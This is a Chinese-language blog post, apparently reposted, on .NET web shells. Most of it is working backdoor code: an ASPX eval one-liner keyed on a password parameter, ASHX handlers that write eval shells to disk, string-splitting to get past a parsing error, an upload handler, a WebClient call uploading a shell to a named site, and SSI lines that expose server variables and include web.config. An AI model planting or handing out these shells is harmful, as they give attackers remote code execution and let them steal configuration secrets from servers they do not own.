ashx后門


一、標准ASPX一句話木馬

.NET平台下的一句話木馬則百年不變,最常見的當屬下面這句

<%@ Page Language=”Jscript”%><%eval(Request.Item[“pass”],”unsafe”);%>

想必這句話已經成大多數防御產品的標准樣本,除此以外還有上傳文件的一句話,像這種的從嚴格意義上不能算是一句話木馬,只是一個簡單的上傳文件的功能,實際的操作還是大馬或者小馬的操作行為。

<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[“f”]) ); }%>

二、ASHX一句話木馬

ashx馬兒 https://github.com/tennc/webshell/blob/master/caidao-shell/customize.ashx

這個馬兒已經實現了菜刀可連,可用,還是挺棒的,但因為體積過大,並且在服務端實現了大多數功能,其實更像是一個大馬,只是對客戶端的菜刀做了適配可用。

二、ASHX寫文件木馬

木馬執行后會在當前目錄下生成webshell.asp一句話木馬,密碼是pass 也可以寫入其它文件。

<%@ WebHandler Language="C#" class="Handler"% >
using System;
using System.Web;
using System.IO;
public class Handler:IHttpHandler {
 
public void ProcessRequest (HttpContext context) {
    context.Response.ContentType = "text/plain";
    StreamWriter file = File.CreateText(context.Server.MapPath("webshell.asp")));
    file.Write("<%eval request(\"pass\")%>");
    file.Flush();
    file.Close();
    context.Response.Write("www.webshell.cc");
}
 
public bool IsReusable {
    get {
        return false;
    }
}
}

將腳本中的Asp一句話改成菜刀的Aspx一句話~不過執行的時候爆錯,說未知指令@Page。遂采用一下2種方式解決:

1.用String連接字符串

  1. <%@ WebHandler Language="C#" Class="Handler" %> 
  2.  
  3. using System; 
  4. using System.Web; 
  5. using System.IO; 
  6. public class Handler : IHttpHandler { 
  7.      
  8.     public void ProcessRequest (HttpContext context) { 
  9.         context.Response.ContentType = "text/plain"; 
  10.         string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"chopper\"]"+",\"unsafe\");%>"; 
  11.         StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx")); 
  12.         file1.Write(show); 
  13.         file1.Flush(); 
  14.         file1.Close(); 
  15.          
  16.     } 
  17.  
  18.     public bool IsReusable { 
  19.         get { 
  20.             return false; 
  21.         } 
  22.     } 
  23.  

2.比較笨的方法,看代碼吧

 

  1. <%@ WebHandler Language="C#" Class="Uploader" %> 
  2. using System; 
  3. using System.IO; 
  4. using System.Web;    
  5.  
  6. public class Uploader : IHttpHandler 
  7.     public void ProcessRequest(HttpContext hc) 
  8.     { 
  9.         foreach (string fileKey in hc.Request.Files) 
  10.         { 
  11.             HttpPostedFile file = hc.Request.Files[fileKey]; 
  12.             file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName)); 
  13.         } 
  14.     }    
  15.  
  16.     public bool IsReusable 
  17.     { 
  18.         get { return true; } 
  19.     } 

然后用VS建立WinForm程序~主函數里寫:

    1. System.Net.WebClient myWebClient = new System.Net.WebClient(); 
    2. myWebClient.UploadFile("http://www.xcnzz.com/Uploader.ashx", "POST", "C:\\ma.aspx");

三、stm/shtm/shtml腳本

雖然不能直接拿到webshell,但是可以獲取到一些服務器信息。注意stm中的include可以將web.config文件中的內容包含進來。

<!--#ECHO var="ALL_HTTP"-->
當前文件名稱:<!--#ECHO var="DOCUMENT_NAME"-->
Web服務器的名稱和版本:<!--#ECHO var="SERVER_SOFTWARE"-->
主機名:<!--#ECHO var="SERVER_NAME"-->
端口:<!--#ECHO var="SERVER_PORT"-->
客戶或客戶代理IP地址:<!--#ECHO var="REMOTE_ADDR"-->
客戶或客戶代理主機名:<!--#ECHO var="REMOTE_HOST"-->
PATH_INFO 的值,但帶有擴展為某個目錄規范的虛擬路徑:
<!--#ECHO var="PATH_TRANSLATED"-->
客戶端給出附加路徑信息:<!--#ECHO var="PATH_INFO"-->
<!--#ECHO var="HTTP_ACCEPT"-->
<!--#ECHO var="DOCUMENT_URI"-->
<!--#include file="../../web.config"-->


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM